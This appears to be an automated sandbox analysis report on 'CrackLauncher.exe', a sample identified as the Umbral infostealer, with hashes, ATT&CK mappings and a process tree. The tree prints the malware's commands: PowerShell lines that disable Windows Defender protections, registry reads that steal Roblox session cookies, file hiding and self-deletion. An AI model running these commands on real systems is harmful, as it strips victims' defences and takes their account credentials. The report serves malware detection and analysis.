umbral | 2a068fd9cec974e59a74ab132f781f9c69cb5b620e562f05d514d7720752ae64

Analysis

max time kernel
34s
max time network
10s
platform
windows10-2004_x64
resource
win10v2004-20240704-en
resource tags

arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
submitted
04/07/2024, 21:46

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General

Target
CrackLauncher.exe
Size 8.0MB
Sample240704-1mxt8atajd
SHA256 2a068fd9cec974e59a74ab132f781f9c69cb5b620e562f05d514d7720752ae64
MD5 c045a0feb21965b697ce7c6abcf68d94
SHA1 bd60e3aa141a2ed4dbb11313be29fadc9fb50b6a
SHA512 013661d73b8140304a8578b9d903e9192aed82ce1dc244065284a5ae5ed83482e23a302dd164243959468bbd2b124e1b892373737f9c95ad85aba699159be20a
SSDEEP 6144:RloZM+rIkd8g+EtXHkv/iD4TNXVBoOJBiPHaIJtM1ub8e1m6i:joZtL+EP8xXVBoOJBiPHaIJtMEA
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/3656-0-0x000002A91D9D0000-0x000002A91DA10000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1944	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	CrackLauncher.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
13	discord.com
14	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4652	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2780	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
3656	CrackLauncher.exe
1944	powershell.exe
1944	powershell.exe
2364	powershell.exe
2364	powershell.exe
3456	powershell.exe
3456	powershell.exe
400	powershell.exe
400	powershell.exe
4624	powershell.exe
4624	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3656	CrackLauncher.exe
Token: SeIncreaseQuotaPrivilege	4844	wmic.exe
Token: SeSecurityPrivilege	4844	wmic.exe
Token: SeTakeOwnershipPrivilege	4844	wmic.exe
Token: SeLoadDriverPrivilege	4844	wmic.exe
Token: SeSystemProfilePrivilege	4844	wmic.exe
Token: SeSystemtimePrivilege	4844	wmic.exe
Token: SeProfSingleProcessPrivilege	4844	wmic.exe
Token: SeIncBasePriorityPrivilege	4844	wmic.exe
Token: SeCreatePagefilePrivilege	4844	wmic.exe
Token: SeBackupPrivilege	4844	wmic.exe
Token: SeRestorePrivilege	4844	wmic.exe
Token: SeShutdownPrivilege	4844	wmic.exe
Token: SeDebugPrivilege	4844	wmic.exe
Token: SeSystemEnvironmentPrivilege	4844	wmic.exe
Token: SeRemoteShutdownPrivilege	4844	wmic.exe
Token: SeUndockPrivilege	4844	wmic.exe
Token: SeManageVolumePrivilege	4844	wmic.exe
Token: 33	4844	wmic.exe
Token: 34	4844	wmic.exe
Token: 35	4844	wmic.exe
Token: 36	4844	wmic.exe
Token: SeIncreaseQuotaPrivilege	4844	wmic.exe
Token: SeSecurityPrivilege	4844	wmic.exe
Token: SeTakeOwnershipPrivilege	4844	wmic.exe
Token: SeLoadDriverPrivilege	4844	wmic.exe
Token: SeSystemProfilePrivilege	4844	wmic.exe
Token: SeSystemtimePrivilege	4844	wmic.exe
Token: SeProfSingleProcessPrivilege	4844	wmic.exe
Token: SeIncBasePriorityPrivilege	4844	wmic.exe
Token: SeCreatePagefilePrivilege	4844	wmic.exe
Token: SeBackupPrivilege	4844	wmic.exe
Token: SeRestorePrivilege	4844	wmic.exe
Token: SeShutdownPrivilege	4844	wmic.exe
Token: SeDebugPrivilege	4844	wmic.exe
Token: SeSystemEnvironmentPrivilege	4844	wmic.exe
Token: SeRemoteShutdownPrivilege	4844	wmic.exe
Token: SeUndockPrivilege	4844	wmic.exe
Token: SeManageVolumePrivilege	4844	wmic.exe
Token: 33	4844	wmic.exe
Token: 34	4844	wmic.exe
Token: 35	4844	wmic.exe
Token: 36	4844	wmic.exe
Token: SeDebugPrivilege	1944	powershell.exe
Token: SeDebugPrivilege	2364	powershell.exe
Token: SeDebugPrivilege	3456	powershell.exe
Token: SeDebugPrivilege	400	powershell.exe
Token: SeIncreaseQuotaPrivilege	3016	wmic.exe
Token: SeSecurityPrivilege	3016	wmic.exe
Token: SeTakeOwnershipPrivilege	3016	wmic.exe
Token: SeLoadDriverPrivilege	3016	wmic.exe
Token: SeSystemProfilePrivilege	3016	wmic.exe
Token: SeSystemtimePrivilege	3016	wmic.exe
Token: SeProfSingleProcessPrivilege	3016	wmic.exe
Token: SeIncBasePriorityPrivilege	3016	wmic.exe
Token: SeCreatePagefilePrivilege	3016	wmic.exe
Token: SeBackupPrivilege	3016	wmic.exe
Token: SeRestorePrivilege	3016	wmic.exe
Token: SeShutdownPrivilege	3016	wmic.exe
Token: SeDebugPrivilege	3016	wmic.exe
Token: SeSystemEnvironmentPrivilege	3016	wmic.exe
Token: SeRemoteShutdownPrivilege	3016	wmic.exe
Token: SeUndockPrivilege	3016	wmic.exe
Token: SeManageVolumePrivilege	3016	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 3656 wrote to memory of 4844	3656	CrackLauncher.exe	83
PID 3656 wrote to memory of 4844	3656	CrackLauncher.exe	83
PID 3656 wrote to memory of 3412	3656	CrackLauncher.exe	86
PID 3656 wrote to memory of 3412	3656	CrackLauncher.exe	86
PID 3656 wrote to memory of 1944	3656	CrackLauncher.exe	88
PID 3656 wrote to memory of 1944	3656	CrackLauncher.exe	88
PID 3656 wrote to memory of 2364	3656	CrackLauncher.exe	90
PID 3656 wrote to memory of 2364	3656	CrackLauncher.exe	90
PID 3656 wrote to memory of 3456	3656	CrackLauncher.exe	92
PID 3656 wrote to memory of 3456	3656	CrackLauncher.exe	92
PID 3656 wrote to memory of 400	3656	CrackLauncher.exe	94
PID 3656 wrote to memory of 400	3656	CrackLauncher.exe	94
PID 3656 wrote to memory of 3016	3656	CrackLauncher.exe	96
PID 3656 wrote to memory of 3016	3656	CrackLauncher.exe	96
PID 3656 wrote to memory of 2812	3656	CrackLauncher.exe	98
PID 3656 wrote to memory of 2812	3656	CrackLauncher.exe	98
PID 3656 wrote to memory of 4804	3656	CrackLauncher.exe	100
PID 3656 wrote to memory of 4804	3656	CrackLauncher.exe	100
PID 3656 wrote to memory of 4624	3656	CrackLauncher.exe	102
PID 3656 wrote to memory of 4624	3656	CrackLauncher.exe	102
PID 3656 wrote to memory of 4652	3656	CrackLauncher.exe	104
PID 3656 wrote to memory of 4652	3656	CrackLauncher.exe	104
PID 3656 wrote to memory of 3440	3656	CrackLauncher.exe	106
PID 3656 wrote to memory of 3440	3656	CrackLauncher.exe	106
PID 3440 wrote to memory of 2780	3440	cmd.exe	108
PID 3440 wrote to memory of 2780	3440	cmd.exe	108

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3412	attrib.exe

C:\Users\Admin\AppData\Local\Temp\CrackLauncher.exe
"C:\Users\Admin\AppData\Local\Temp\CrackLauncher.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3656
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4844
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\CrackLauncher.exe"
  2⤵
  - Views/modifies file attributes
  PID:3412
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\CrackLauncher.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1944
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2364
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:400
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3016
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2812
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:4804
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4624
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:4652
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\CrackLauncher.exe" && pause
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3440
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:2780

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
MD5 77d622bb1a5b250869a3238b9bc1402b
SHA1 d47f4003c2554b9dfc4c16f22460b331886b191b
SHA512 d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 948B
SHA256 8f31385012b247db2cc50ecb164208fbbf5f8cdf7bfc951e8c2c8ad5fb04cf0b
MD5 47aec0ae6e0dfab5f91c35cd65d2c56a
SHA1 0bbe13618bdc0c402539cdfca81471aa501f5cad
SHA512 c4b7184a85c1d594012ba86390e651439d6cae63c76b94432faaaea410e4ef9bc62d88e68adf8f3abbe36e18ef9e4dc46c3e31a0d72089f98a22f04c8b4a8f12
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc
MD5 276798eeb29a49dc6e199768bc9c2e71
SHA1 5fdc8ccb897ac2df7476fbb07517aca5b7a6205b
SHA512 0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 6a505315d661fb2f8e134ef82b14dd20419f3c87f711ebc047f42463da26d8d8
MD5 bb108a29b554b07c9f92960130d42859
SHA1 01b35ca216c0478dca515b1002cd2fdafe2672ed
SHA512 017ce431e7d2417cfc9ac49dd26acdf725b1555a2f5b0d4ae46296a9967e5ff806573611ca274cf489225e8f6057e394ddeaf88299d031bf5eb893e509d49235
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_mpej1myt.tvp.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mpej1myt.tvp.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/1944-3-0x00007FFC29A90000-0x00007FFC2A551000-memory.dmp

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memory/1944-13-0x0000018EAD690000-0x0000018EAD6B2000-memory.dmp

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memory/1944-14-0x00007FFC29A90000-0x00007FFC2A551000-memory.dmp

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memory/1944-15-0x00007FFC29A90000-0x00007FFC2A551000-memory.dmp

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memory/1944-17-0x00007FFC29A90000-0x00007FFC2A551000-memory.dmp

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memory/3656-31-0x000002A938170000-0x000002A9381E6000-memory.dmp

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memory/3656-32-0x000002A9381F0000-0x000002A938240000-memory.dmp

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memory/3656-33-0x000002A91F720000-0x000002A91F73E000-memory.dmp

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memory/3656-0-0x000002A91D9D0000-0x000002A91DA10000-memory.dmp

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memory/3656-2-0x00007FFC29A90000-0x00007FFC2A551000-memory.dmp

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memory/3656-69-0x000002A937F60000-0x000002A937F6A000-memory.dmp

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memory/3656-70-0x000002A9380F0000-0x000002A938102000-memory.dmp

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memory/3656-1-0x00007FFC29A93000-0x00007FFC29A95000-memory.dmp

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memory/3656-89-0x00007FFC29A90000-0x00007FFC2A551000-memory.dmp

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memory/4624-84-0x00000159A2AE0000-0x00000159A2CFC000-memory.dmp

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